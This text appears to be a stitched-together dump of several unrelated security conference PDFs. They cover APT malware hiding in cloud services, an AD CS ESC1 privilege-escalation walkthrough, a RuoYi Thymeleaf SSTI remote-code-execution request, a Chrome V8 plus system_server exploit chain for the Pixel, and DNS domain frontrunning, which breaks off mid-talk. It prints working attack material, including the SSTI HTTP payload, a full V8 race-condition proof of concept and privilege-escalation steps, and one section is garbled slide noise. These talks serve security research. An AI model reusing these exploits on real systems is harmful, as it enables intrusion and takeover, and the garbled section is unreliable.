db8Hh2QE3IF3jGkcSdUecpTGZr2E2x+fnuNfHrtNbxoRRcebmyIYz9oD0BMrDgiD3T9 x5QnqwrHMjg8TUymCCeWxiUshE81QyS7LUo8ibCmu3+yT9K6eYPiW0AzzH5TohSd D0uIapLsZCRXRk+vodo9i8FBmVnq1+U3W1snM1JkhUJG3SUqdXGulkzB42nL82Ad …… yxyyyxyy Base 64 Key Length Key Key xor 02  Key for RC4  RC4 Decrypt trojan DLL Control Channel Victim Cloud Service Actor Command Data The Malwares HITCON 2015 Let’s Play Hide and Seek in the Cloud Stalk • Name: Stalk / glooxmail • Targeted Country: • Targeted Sector: • First Seen: 2011 • Infrastructure: G Talk • Campaign: APT1 Victim 1 2 TLS encryption Encoded Command TROJAN.GTALK functionality Function Description Create/kill/list processes Send a process listing, kill a process by name or PID. File upload/download Gather system information Information includes hostname, IP address, OS version, and the static string “0.0.1” which may be a malware version string. Interactive shell session Start a cmd.exe child process. Arbitrary commands can be sent from a remote host to the malware to execute Set sleep interval HITCON 2015 Let’s Play Hide and Seek in the Cloud Kimsuky • Name: Kimsuky • Targeted Country: KR • Targeted Sector: GOV; Military Industry; ThinkTank • First Seen:2013 • Infrastructure: Public email service,TeamViewer • Behavior: communicated with its “master” via a public e-mail server and TeamViewer 1 Victim 2 3 4 RC4 Encrypted Data RSA Encrypted RC4 Key RC4 Encrypted Modules modules Description Keystroke logging Directory listing collection Gather information and Spy victim HWP document theft Hancom Office Remote control download and execution Download extra program from in-coming mail Remote control access Use modified TeamViewer client Interesting • The public e-mail server :Bulgarian – mail.bg • Compilation path string : Korean hieroglyphs •D:\rsh\공격\UAC_dll(완성)\Release\test.pdb •D:\rsh\ATTACK\UAC_dll(COMPLETION)\Release\te st.pdb • Modified TeamViewer Attacker Thread - IP Attacker Thread – Mail Account • Mail accounts : • [email protected][email protected] • DropBox Account : • Names: kimsukyang and “Kim asdfa” Who are the Target or Targets ....? What APT malware love about cloud service? HITCON 2015 Let’s Play Hide and Seek in the Cloud • Easy to change; like DDNS • Bypass passive DNS • Bypass IDS • Bypass AV • Difficult to trace • Cost down • Easy to build/maintenance What can we do? HITCON 2015 Let’s Play Hide and Seek in the Cloud • Black List What can we do? HITCON 2015 Let’s Play Hide and Seek in the Cloud • CTI (Cyber Threat Intelligence) What can we do? • “Cyber threat intelligence is knowledge about adversaries and their motivations, intentions, and methods that is collected, analyzed, and disseminated in ways that help security and business staff at all levels protect the critical assets of the enterprise.” Jon Friedman et al, 2015, Definitive Guide to Cyber Threat Intelligence HITCON 2015 Let’s Play Hide and Seek in the Cloud • Security Guard • 24x7 monitor、 report • indicator match • Emergency Response Team • Emergency Response、 Handling Crisis • malware weapon • Doctor • Prescription • high-level strategy • Private Detective • Investigation、 Long-term tracking • Campaign Tactics Techniques and procedure review prevent detect respond Q & A http://girls.hitcon.org/
pdf
针对域证书服务的攻击(1)- ESC1 0x00 前言 关于域证书服务攻击的白皮书出来大半个月了 https://www.specterops.io/assets/resources/Certified_ Pre-Owned.pdf,下文以白皮书代指。作者也在BH21后放出了利用工具。在前期大家的主要关注点都集 中在NTLM relay ad cs HTTP来获取域控权限的ESC8上。其实白皮书中关于攻击项的技术有19个,我计 划边学边写。这个过程中难免出错,望指正。 昨天我把域环境搭建好,同时也在其中一台服务器上开启了AD CS服务,打算试试Certify和ForgeCert工 具。在测试Certify工具的时候,看到github的issue的几个讨论,就有不好的预感,果不其然,在编译的 时候就报错了。 我的编译环境是:Win10 2004、VS2019、.NET4,解决比较简单,修改Certify.csproj文件中多处: 然后在非域用户登录的域内机器上执行 因此判定这个工具基本无法在域外使用,但从我对原理的粗浅理解来看,是可以实现在域外利用的工具 的。这儿暂时跳过,我使用域用户登录域内机器,成功执行。 <LangVersion>0.9</LangVersion> 改为 <LangVersion>default</LangVersion> AttackTeamFamily No. 1 / 8 - www.red-team.cn 瞬间就尴尬了,没有危害。还没开始就结束了。好吧,测试之前我们先来配置危害环境。(ps:文中该 用“漏洞”一词的地方我全部以“危害”代替,原因大家都清楚) 0x02 危害环境配置 我们对白皮书中攻击项的利用进行分类: 窃取类 个体权限维持类(类似银票,后文以银证称呼) 权限提升类 域权限维持类(类似金票,后文以金证称呼) 我们先测试里面的权限提升类,这也是大家比较关注的,其他类需要提升权限以后再利用。今天我们主 要是测试ESC1,“Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT”,这句 话表达了3个点: 我们需要有权限去获取证书 能够登记为客户端身份验证或智能卡登录等 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启 我们首先创建一个具有以上3个点的证书模板,使用certtmpl.msc创建。我们复制工作站身份认证模 板,在常规中修改模板显示名称为ESC1,扩展中的应用程序策略中加入客户端身份认证。 AttackTeamFamily No. 2 / 8 - www.red-team.cn 在安全中加入Domain Users具有注册权限: AttackTeamFamily No. 3 / 8 - www.red-team.cn 在使用者名称中,选择在请求中提供,也就是开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT。 AttackTeamFamily No. 4 / 8 - www.red-team.cn 然后使用Certsrv.msc,发布我们创建的危害模板 AttackTeamFamily No. 5 / 8 - www.red-team.cn 然后刷新刷新,稍等下,使用certify,检测危害。 危害出现了。 0x03 ESC1利用 利用就很简单了,这儿Certify.exe工具有2个DLL依赖,需要复制到同目录下,还没研究怎么搞成一个 exe,不然使用很麻烦,我们暂时先复制DLL依赖测试,后面再完善利用工具。 Certify.exe find /vulnerable AttackTeamFamily No. 6 / 8 - www.red-team.cn 成功获取到证书,注意altname参数,这个需要填的是域管用户名。然后算换pem到pfx,这个需要使用 linux或者macos环境中的opnessl,我windows上装有WLS,直接开个WLS挺方便的。 最后使用Rubeus获取TGT,我这儿直接就ptt了。这儿需要注意的是要ptt当然是需要管理员权限的。 0x04 总结 这就是ESC1的错误配置利用了,本文没有涉及到原理,只从配置和攻击利用上编写,感官上可能会觉得 这样的错误配置在真实环境中多么?这个我也不确定,但据作者白皮书描述多,因为这3个配置,不全是 人为配置,有些是默认配置,例如web服务器模板里面默认CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开 启,用户模板里面默认domian users有注册权限,我上面演示的模板默认在应用策略配置中就有客户端 认证配置。因此ESC1这样情况的错误配置应该挺常见的。 原理部分我会单独写,因为我目前也是学习阶段,理解的还不够深刻,后面再补上原理分析。 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx AttackTeamFamily No. 7 / 8 - www.red-team.cn AttackTeamFamily No. 8 / 8 - www.red-team.cn
pdf
ruoyi rce payload snake yaml ssti yaml emmmmmm ssti jar Spring Thymeleaf @Controller public class SstiController { @RequestMapping("/ssti") public String ssti(@RequestParam String payload) { return payload; } } @Controller String thymeleaf SSTI @Controller public class SstiController { @RequestMapping("/ssti") @ResponseBody public String ssti(@RequestParam String payload) { return payload; } } @ResponseBody Spring HttpMessageConverter Response body @Controller @ResponseBody @RestController @RestController (RuoYi)rce public class SstiController { @RequestMapping("/ssti") public String ssti(@RequestParam String payload) { return payload; } } ruoyi POST /monitor/cache/getNames HTTP/1.1 Host: 10.0.0.3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cookie: JSESSIONID=fc94c0ba-1588-4cbf-b4d8-1206280f7790 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 73 fragment=${T (java.lang.Runtime).getRuntime().exec("open -a Calculator")} snake yaml ruoyi thymeleaf shiro thymeleaf 3.0.12.RELEASE new payload threedr3am T ( RuoYi @RequiresPermissions shiro key ssti rce
pdf
& Privileged&Confidential 01 • • 82 5 Privileged&Confidential 5 Privileged&Confidential 0 & 2 Privileged&Confidential Privileged&Confidential & 01 T Privileged&Confidential T Privileged&Confidential • O% & S1 S& • 05 R1 • 0pC 1P 4Op • t4aC81 Privileged&Confidential Privileged&Confidential & 02 Privileged&Confidential Privileged&Confidential • & • & • & Privileged&Confidential & Privileged&Confidential 03 Privileged&Confidential Privileged&Confidential 141 ap a& 2t. 1.3 & Privileged&Confidential & Privileged&Confidential 04 d Privileged&Confidential d Privileged&Confidential • xj3&%8o 3&u8s • 8te p8lamirs 8&&33080y8 br • kg8gn8gsp h • 80800 & Privileged&Confidential & Privileged&Confidential 05 Privileged&Confidential Privileged&Confidential • & 1& • • & & Privileged&Confidential & Privileged&Confidential 06 Fdz Privileged&Confidential Fdz Privileged&Confidential • aad&85128 +6380 0451&8& 8 • +6Ad8AdAu e8sa 8t88 • rp8ob-632rp m8 48@75 Privileged&Confidential 48@75 Privileged&Confidential 2963 0 & & 0 11 Privileged&Confidential Privileged&Confidential & 07 Privileged&Confidential Privileged&Confidential • dik5 • Bxe5 300ff&&f f1445 • bs Boc o-5 • 00uw 5z rA5 Privileged&Confidential Privileged&Confidential & 08 Privileged&Confidential Privileged&Confidential &0 Privileged&Confidential Privileged&Confidential &.. 355 3p.. 4 33 1xoa2 sA 3e 3D3.. mi3a x..a Privileged&Confidential Privileged&Confidential && D22 +B 3 Privileged&Confidential 3 Privileged&Confidential & 4 Privileged&Confidential 4 Privileged&Confidential & Privileged&Confidential Privileged&Confidential 41& 4 Privileged&Confidential 4 Privileged&Confidential & & Privileged&Confidential & Privileged&Confidential & Privileged&Confidential
pdf
Pwning "the toughest target": the exploit chain of winning the largest bug bounty in the history of ASR program Jianjun Dai Guang Gong Wenlin Yang #whoami • Guang Gong • Senior Security Researcher and Team Leader of 360 Alpha Team • Android/Chrome CVE hunter • Speaker at Black Hat, CanSecWest, PHDays, SyScan360, MOSEC, PacSec, etc • Mobile Pwn2Own 2015, Pwn0Rama 2016, Pwn2Own 2016, PwnFest 2016, Mobile Pwn2Own 2017 winner • 1st submit the working remote exploit chain of ASR • Wenlin Yang • Security Researcher at 360 Alpha Team • Android system CVE hunter • Jianjun Dai • Security Researcher at 360 Alpha Team • Android system CVE hunter • Speaker at CanSecWest How we pwned Pixel running Android Nougat Two bugs forms the complete exploit chain • a V8 bug to compromise the renderer • a system_server bug to escape sandbox and get system user permissions Agenda • Exploition of V8 engine • Exploitation of System_server • Conclusion Exploition of V8 engine • Introduction SharedArrayBuffer and WebAssembly • Analyze the Chain of Bugs #1 - CVE-2017-5116 • Exploitation of CVE-2017-5116 SharedArrayBuffer • V8 6.0 introduced • Low-level mechanism to share memory between JavaScript workers • Unlock the ability to port threaded applications to the web via asm.js or WebAssembly // create a SharedArrayBuffer with a size in bytes const buffer = new SharedArrayBuffer(8); SharedArrayBuffer was disabled by default in all major browsers on January 2018, in response to Meltdown and Spectre WebAssembly • New type of code that can be run in modern web browsers • Low-level assembly-like language with a compact binary format that runs with near-native performance • Provide languages such as C/C++ with a compilation target • Run alongside JavaScript WebAssembly var importObject = { imports: { imported_func: arg => console.log(arg) } }; WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) .then(obj => obj.instance.exports.exported_func()); Analyze the Chain of Bugs #1 CVE-2017-5116 vulnerable Chrome: prior to 61.0.3163.79 combining the three features: WebAssembly, Web worker and SharedArrayBuffer OOB access can be triggered through a race condition Analyze the Chain of Bugs #1 SharedArrayBuffer wasm code worker thread main thread OOB Access Analyze the Chain of Bugs #1 57: i::wasm::ModuleWireBytes GetFirstArgumentAsBytes( 58: const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) { …… 65: v8::Local<v8::Value> source = args[0]; 66: if (source->IsArrayBuffer()) { …… 72: } else if (source->IsTypedArray()) {//------> source should be checked if it's backed by a SharedArrayBuffer 73: // A TypedArray was passed. 74: Local<TypedArray> array = Local<TypedArray>::Cast(source); 75: Local<ArrayBuffer> buffer = array->Buffer(); 76: ArrayBuffer::Contents contents = buffer->GetContents(); 77: start = 78: reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset(); 79: length = array->ByteLength(); 80: } …… 91: if (thrower->error()) return i::wasm::ModuleWireBytes(nullptr, nullptr); 92: return i::wasm::ModuleWireBytes(start, start + length); 93:} buggy code Analyze the Chain of Bugs #1 <html> <h1>poc</h1> <script id="worker1"> worker:{ if (typeof window === 'object') break worker; // Bail if we're not a Worker self.onmessage = function(arg) { //%DebugPrint(arg.data); console.log("worker started"); var ta = new Uint8Array(arg.data); //%DebugPrint(ta.buffer); var i =0; while(1){ if(i==0){ i=1; ta[51]=0; //------>4)modify the webassembly code at the same time }else{ i=0; ta[51]=128; } } } } </script> PoC Analyze the Chain of Bugs #1 <script> function getSharedTypedArray(){ var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b ]; var sb = new SharedArrayBuffer(wasmarr.length); //--> 1)put WebAssembly code in a SharedArrayBuffer var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i]=wasmarr[i]; return sta; } var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) PoC var worker = new Worker(window.URL.createObjectURL(blob)); //--->2) create a web worker var sta = getSharedTypedArray(); //%DebugPrint(sta.buffer); worker.postMessage(sta.buffer); //---->3)pass the WebAssembly code to the web worker setTimeout(function(){ while(1){ try{ //console.log(sta[50]); sta[51]=0; var myModule = new WebAssembly.Module(sta); //- -->4) parse the webassembly code var myInstance = new WebAssembly.Instance(myModule); }catch(e){ } } },1000); //worker.terminate(); </script> </html> Analyze the Chain of Bugs #1 WebAssembly code in PoC 00002b func[0]: 00002d: 41 2a | i32.const 42 00002f: 0b | end 000030 func[1]: 000032: 10 00 | call 0 000034: 41 01 | i32.const 1 000036: 6a | i32.add 000037: 0b | end worker thread 000032: 10 80 | call 128 main thread OOB access Analyze the Chain of Bugs #1 “call 0” can be modified to call any wasm functions 000032: 10 00 | call 0 000032: 10 xx | call $leak (func $leak(param i32 i32 i32 i32 i32 i32)(result i32) i32.const 0 get_local 0 i32.store i32.const 4 get_local 1 i32.store i32.const 8 get_local 2 i32.store i32.const 12 get_local 3 i32.store i32.const 16 get_local 4 i32.store i32.const 20 get_local 5 i32.store i32.const 0 )) registers and stack contents are dumped to Web Assembly memory, many useful pieces of data in the stack being leaked Analyze the Chain of Bugs #1 Any “call funcX” can be modified to “call funcY” /*Text format of funcX*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add) /*Disassembly code of funcX*/ --- Code --- kind = WASM_FUNCTION name = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600 0 8b442404 mov eax,[esp+0x4] 0x58f87604 4 03c6 add eax,esi 0x58f87606 6 c20400 ret 0x4 0x58f87609 9 0f1f00 nop Safepoints (size = 8) RelocInfo (size = 0) --- End code --- the first 5 arguments are passed through the registers , the sixth argument is passed through stack v8 compiles funcX in ia32 arch Analyze the Chain of Bugs #1 If “call funcX” be modified to “call JS_TO_WASM” /*Disassembly code of JS_TO_WASM function */ --- Code --- kind = JS_TO_WASM_FUNCTION name = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTIN 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42> // created by v8 compiler internally // first arguments is passed through stack So, what will happen? Analyze the Chain of Bugs #1 /*Disassembly code of JS_TO_WASM function */ --- Code --- …… 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42> /*Text format of funcX*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add) …… 0x58f87600 0 8b442404 mov eax,[esp+0x4] 0x58f87604 4 03c6 add eax,esi 0x58f87606 6 c20400 ret 0x4 call ToNumber(sixth_arg) any value to be taken as object pointer Exploit the Chain of Bugs #1 exploitation of OOB access is straightforward • Leak ArrayBuffer’s content • Fake an ArrayBuffer a double array by using leaked data • Pass faked ArrayBuffer’s address to ToNumber • Modify BackingStore and ByteLength of the ArrayBuffer in callback • Get arbitrary memory read/write • Overwrite JIT code with shellcode A lot of people have talked about the exploition methods. Not explain in detail here. Patch Exploitation of System_server •Analyze the bug, Chain of Bugs #2 - CVE-2017-14904 •Escape sandbox and achieve remotely triggering the bug •Exploit the bug Analyze Chain of Bugs #2 Use-After-Unmap bug in Android's libgralloc module - hardware/qcom/display/msm8996/libgralloc map and unmap mismatch in function gralloc_map and gralloc_unmap Analyze Chain of Bugs #2 static int gralloc_map(gralloc_module_t const* module, buffer_handle_t handle){ …… private_handle_t* hnd = (private_handle_t*)handle; …… if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) && !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) { size = hnd->size; err = memalloc->map_buffer(&mappedAddress, size, hnd->offset, hnd->fd); if(err || mappedAddress == MAP_FAILED) { ALOGE("Could not mmap handle %p, fd=%d (%s)", handle, hnd->fd, strerror(errno)); return -errno; } hnd->base = uint64_t(mappedAddress) + hnd->offset; } else { err = -EACCES; } …… return err; } chrome renderer process controlled by save mappedAddress+offset to hnd->base Analyze Chain of Bugs #2 static int gralloc_unmap(gralloc_module_t const* module, buffer_handle_t handle) { …… if(hnd->base) { err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); if (err) { ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base, strerror(errno)); return -errno; } hnd->base = 0; } …… return 0; } int IonAlloc::unmap_buffer(void *base, unsigned int size, unsigned int /*offset*/) { int err = 0; if(munmap(base, size)) { err = -errno; ALOGE("ion: Failed to unmap memory at %p : %s", base, strerror(errno)); } return err; } hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched Escape Sandbox • Restriction of seLinux imposed on chrome allow isolated_app activity_service:service_manager find; allow isolated_app display_service:service_manager find; allow isolated_app webviewupdate_service:service_manager find; neverallow isolated_app { service_manager_type -activity_service -display_service -webviewupdate_service }:service_manager find; system/sepolicy /isolated_app.te chrome process Escape Sandbox • Restriction of seLinux imposed on chrome public final int startActivity(IApplicationThread caller, String callingPackage, Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode, int startFlags, ProfilerInfo profilerInfo, Bundle bOptions) { return startActivityAsUser(caller, callingPackage, intent, resolvedType, resultTo, resultWho, requestCode, startFlags, profilerInfo, bOptions, UserHandle.getCallingUserId()); } public final int startActivityAsUser(IApplicationThread caller, String callingPackage, Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode, int startFlags, ProfilerInfo profilerInfo, Bundle bOptions, int userId){ enforceNotIsolatedCaller("startActivity"); userId = mUserController.handleIncomingUser(Binder.getCallingPid(), Binder.getCallingUid(), userId, false, ALLOW_FULL_ONLY, "startActivity", null); // TODO: Switch to user app stacks here. return mActivityStarter.startActivityMayWait(caller, -1, callingPackage, intent, resolvedType, null, null, resultTo, resultWho, requestCode, startFlags, profilerInfo, null, null, bOptions, false, userId, null, null); } void enforceNotIsolatedCaller(String caller) { if (UserHandle.isIsolated(Binder.getCallingUid())) { throw new SecurityException("Isolated process not allowed to call " + caller); } } Escape Sandbox • An ingenious way public interface Parcelable { … public void writeToParcel(Parcel dest, int flags); public interface Creator<T> { public T createFromParcel(Parcel source); public T[] newArray(int size); … } Chrome Renderer (Sandboxed) be called from binder call A lot of classes implement the interface Parcelable public class GraphicBuffer implements Parcelable { … public GraphicBuffer createFromParcel(Parcel in) {…} } Escape Sandbox • An ingenious way case CONVERT_TO_TRANSLUCENT_TRANSACTION: { data.enforceInterface(IActivityManager.descriptor); IBinder token = data.readStrongBinder(); final Bundle bundle; if (data.readInt() == 0) { bundle = null; } else { bundle = data.readBundle(); } final ActivityOptions options = ActivityOptions.fromBundle(bundle); boolean converted = convertToTranslucent(token, options); …… } public static ActivityOptions fromBundle(Bundle bOptions) { return bOptions != null ? new ActivityOptions(bOptions) : null; } public ActivityOptions(Bundle opts) { opts.setDefusable(true); mPackageName = opts.getString(KEY_PACKAGE_NAME); try { mUsageTimeReport = opts.getParcelable(KEY_USAGE_TIME_REPORT); } catch (RuntimeException e) { Slog.w(TAG, e); } …… Escape Sandbox Bundle GraphicBuffer system_server chrome process createFromParcel Exploit the bug • Address space shaping, create some continuous ashmem mapping • Unmap part of the heap and part of an ashmem memory by triggering the bug • Fill the unmapped space with an ashmem memory • Spray the heap, heap data will be written to the ashmem memory • Leak some module’s base address, overwrite virtual function pointer of GraphicBuffer • Trigger a GC to execute ROP Exploit the bug Step 1: address space shaping [anon:libc_malloc] Heap chunk /dev/ashmem/29 /dev/ashmem/28 …… /dev/ashmem/25 /dev/ashmem/24 continuous ashmem mapping 0x7f54800000 0x7f58000000 Exploit the bug Step 2: trigger the bug, unmap part of heap and an ashmem /dev/ashmem/1000 [anon:libc_malloc] 2M-1KB 1 KB /dev/ashmem/29 …… /dev/ashmem/25 /dev/ashmem/24 unmap (2M-1KB) heap unmap 1KB ashmem 0x7f547ff000 0x7f549ff000 2M gap Exploit the bug Step 3: fill the unmapped space with an ashmem memory /dev/ashmem/1000 [anon:libc_malloc] /dev/ashmem/1001 /dev/ashmem/29 …… /dev/ashmem/25 /dev/ashmem/24 fill with an ashmem 0x7f547ff000 0x7f549ff000 Exploit the bug Step 4: spray the heap /dev/ashmem/1000 [anon:libc_malloc] sprayed data /dev/ashmem/1001 /dev/ashmem/29 …… /dev/ashmem/25 /dev/ashmem/24 heap manager allocate memory from range 0x7f547ff000 - 0x7f54800000 in ashmem1001 0x7f547ff000 0x7f549ff000 0x7f54800000 Exploit the bug Step 5: allocate GraphicBuffer objects in ashmem overwrite virtual function pointer /dev/ashmem/1000 [anon:libc_malloc] GraphicBuffer /dev/ashmem/1001 /dev/ashmem/29 …… /dev/ashmem/25 /dev/ashmem/24 0x7f547ff000 0x7f54800000 system_server chrome process Exploit the bug Step 6: trigger a GC to execute ROP class RefBase { public: ... virtual void onLastStrongRef(const void* id); virtual void onLastWeakRef(const void* id); ... }; inherit class GraphicBuffer overwrite ROPs When a GraphicBuffer object is deconstructed, onLastStrongRef is called. Finding an ROP chain in limited module(libui). Conclusion • Compromising the chrome renderer with v8 bug CVE-2017-5116 • Using an ingenious way, combining with the bug CVE-2017-14904, to archive getting the privilege of system_server • The two bugs are already fixed on Security Update of December 2017 Acknowledgements All colleagues at Alpha Team 360 C0RE Team Thanks
pdf
Frontrunning the Frontrunners D r . P a u l V i x i e , C E O F a r s i g h t S e c u r i t y , I n c . © Copyright 2016 Farsight Security, Inc. All Right Reserved. Introduction Frontrunners Exploit Non-Public Information To Register Domain Names For Profit • "This Advisory considers the opportunity for a party with some form of insider information to track an Internet user’s preference for registering a domain name and preemptively register that name. SSAC likens this activity to front running in stock and commodities markets and calls this behavior domain name front running. In the domain name industry, insider information would be information gathered from the monitoring of one or more attempts by an Internet user to check the availability of a domain name." "SAC 022: SSAC Advisory on Domain Name Front Running," ICANN Security and Stability Advisory Committee, October 2007, [emphasis added] https://www.icann.org/en/system/files/files/sac-022-en.pdf Classic "Add Grace Period" Frontrunning Was Terminated By ICANN Policy Changes • "In response to community concerns about the excessive use and abuse of the five-day AGP (Add Grace Period), ICANN implemented two measures to address these problems that have resulted in a 99.7% decrease in AGP deletes from June 2008 to April 2009. [* * *] The solution in brief means that if a company registers and then returns more than a certain number or percentage of domains each month, they are charged for each additional registration above that amount. The result is that domain tasting becomes increasingly expensive the more a company engages in the practice [...] "Aside from the problem that domain names may have been difficult to register, domain tasting also had a series of negative consequences on the manner in which people used the Internet. If individuals accidentally allowed their domain names to lapse, it had become extremely difficult for them to get the domain back (since it was being picked up and dropped by automated systems). Domain tasting also saw an enormous proliferation in the number of websites featuring nothing but advertisements, thus leading to a form of Internet graffiti." https://www.icann.org/news/announcement-2009-08-12-en DNS Query Failure Traffic As A New Potential Source of "Insider Information" For Frontrunners? • We hypothesize that recursive DNS traffic collected from above caching recursive resolvers can also potentially drive (and/or expose!) speculative domain registration efforts. • Admittedly, DNS instrumentation normally focuses on domains that do resolve rather than domains that don't. • In contrast, professional domainers need information about – (a) domain names that people hit, and – (b) which AREN'T registered. • WHY do domainers need data? Ad-hoc vs. Programmatic Registrations • Small-scale amateur domainers may register a comparative handful of domain names: – Brainstorm a few names while watching TV or taking a shower. – Manually register those domains. – Ad hoc/low volume/sporadic activity. – We're NOT very interested in these folks. • Professional domainers, working at scale, tend to be much more "data-driven" -- and a bigger problem. They: – Identify domains based on empirical data sources, not just "hunches." – Programmatically register those names. – Do so for a material volume of domains on an ongoing basis. – These are the people/companies we should be paying attention to... • Does passive DNS have the data the professionals need? Passive DNS Data Focuses on Successful DNS Queries However, We ALSO Have Other Data on DNS Failures • Data about domain names that people cannot resolve (such as NXDOMAINS) would be golden for domainers. They'd love to have that sort of data. • Farsight's not going to give them (or sell them) that data. Why? Well... • Domainers hurt the Internet. They increase costs for those who want domains for actual use, complicate life for search engines, and decrease the overall Internet signal/noise ratio. Domaining is a lot like email spamming. • We DO need to know if two hypothesized phenomena are occurring, however. The Two Behaviors We Expect We'll See 1) Volumetrically-driven typosquatting: hypothetically, domainers may be: • Watching DNS query/response traffic • Tallying the volume of NXDOMAINs seen by domain, and then • Registering the highest volume domains for use in conjunction with online advertising programs. 2) Programmatic exploration of domain permutations around high value existing brands: "reconnoitering via DNS query." • The online analog of Vietnam-war era "recon by fire" • May be seeking available domains that a brand owner might be presupposed to buy for brand protection purposes. • May be looking for domains that can be used in phishing campaigns, or for spamming knock-off products Data From the Security Information Exchange The Security Information Exchange (SIE) • Farsight Security may be best known for its passive DNS service, DNSDB, but Farsight also operates another service, the less- well-known Security Information Exchange (SIE). • SIE is a set of physical locations where Farsight distributes real- time streaming DNS data as well as other security-relevant data received from an international network of hundreds of sensors. • Cybercrime analysts or academic researchers can select specific SIE channels of interest, and then receive (just) those streams • They can receive this data on a locally-attached system, or via an encrypted tunnel started from a remote system. • While SIE is a commercial service, Farsight provides free (or out-of-pocket-cost-recovery-only) grant access to vetted (but unfunded) "Internet Superheroes" working to independently combat cybercrime, and to approved university researchers. The Two SIE Channels We Used • Channel 221 NXDOMAIN data: This channel answers the question, "What (FQDN, rectype)-tuples do we see people trying to resolve that don't exist?" • Channel 212 Newly Observed Base Domains (NOD) data answers the question, "What new effective-2nd-level ("base") domains did we just see for the first time?" 1st Channel -- Channel 221: NXDOMAINS • Volume: 15K observations per second (12-13 Mbps). 1.3 billion observations/day. That's quite a few observations. • IMPORTANT: NXDOMAINS are VERY "specific" -- an NXDOMAIN for a (FQDN/RecType at time/date foo) does NOT imply that the underlying effective 2nd-level domain doesn't exist • NXDOMAINS is NOT just typos – it's also got LOTS of "junk" – DNSBL traffic (query for a non-spammy host? ! NXDOMAIN) – Missing in-addr.arpa's (and ip6.int's, deprecated in Aug 2005) – Illegal/impossible domains (no dot, too long, illegal characters, leaking bogus or locally-made-up "TLDs"), • Passive DNS does NOT currently incorporate NXDOMAIN data. You CANNOT just query Farsight's DNSDB (or any other passive DNS database) to see NXDOMAIN traffic. You MUST wrestle with SIE data. 12 Sample Obs From Ch221 In Presentation Format [88] [2016-06-07 19:01:03.560975962] [2:6 SIE dnsnx] [a1ba02cf] [] [] qname: ipv4_1-lagg0-c997.1.sjc002.ix.nflxvideo.net. qclass: IN (1) qtype: AAAA (28) response_ip: 204.13.251.30 soa_rrname: ix.nflxvideo.net. bold=bita forming the unique tuple (FQDN, recordtype) at date/time red=the bits of interest to this study 13 nflxvideo.net: already registered, even if "NXD'ing" $ whois nflxvideo.net Domain Name: nflxvideo.net Creation Date: 2011-05-25T12:47:43-0700 Registrant Name: Domain Administrator Registrant Organization: Netflix, Inc. Registrant Street: 100 Winchester Circle, Registrant City: Los Gatos Registrant State/Province: CA Registrant Postal Code: 95032 [etc] NXDOMAINs do NOT mean the base domain is available to register! We MUST CHECK TO SEE IF A DOMAIN IS REGISTERED. 14 2nd Channel -- Channel 212 (Newly Observed Domains) • Volume: roughly three observations per second – ~3 obs/sec*(60 sec/min)*(60 min/hr)*(24 hrs/day) = ~259,200 obs/day (comparatively low volume/easy to process) • 2nd-level effective domains ("delegation point") data: example.com, not www.example.com • Does NOT include domains first seen by Farsight in ICANN ZFA zone files • NOD's a pretty clean data stream • NOD data DOES gets incorporated into DNSDB 15 Sample Obs From Ch212 In Presentation Format [98] [2016-07-19 04:14:00.932154893] [2:5 SIE newdomain] [a1ba02cf] [] [] domain: startjobs.xyz. time_seen: 2016-07-19 04:11:31 bailiwick: xyz. rrname: startjobs.xyz. rrclass: IN (1) rrtype: NS (2) rdata: ns1.sedoparking.com. rdata: ns2.sedoparking.com. Note that this is likely an example of a monetized domain (Sedoparking is a parked-domain domain-monetization firm) 16 Extracted Obs Per 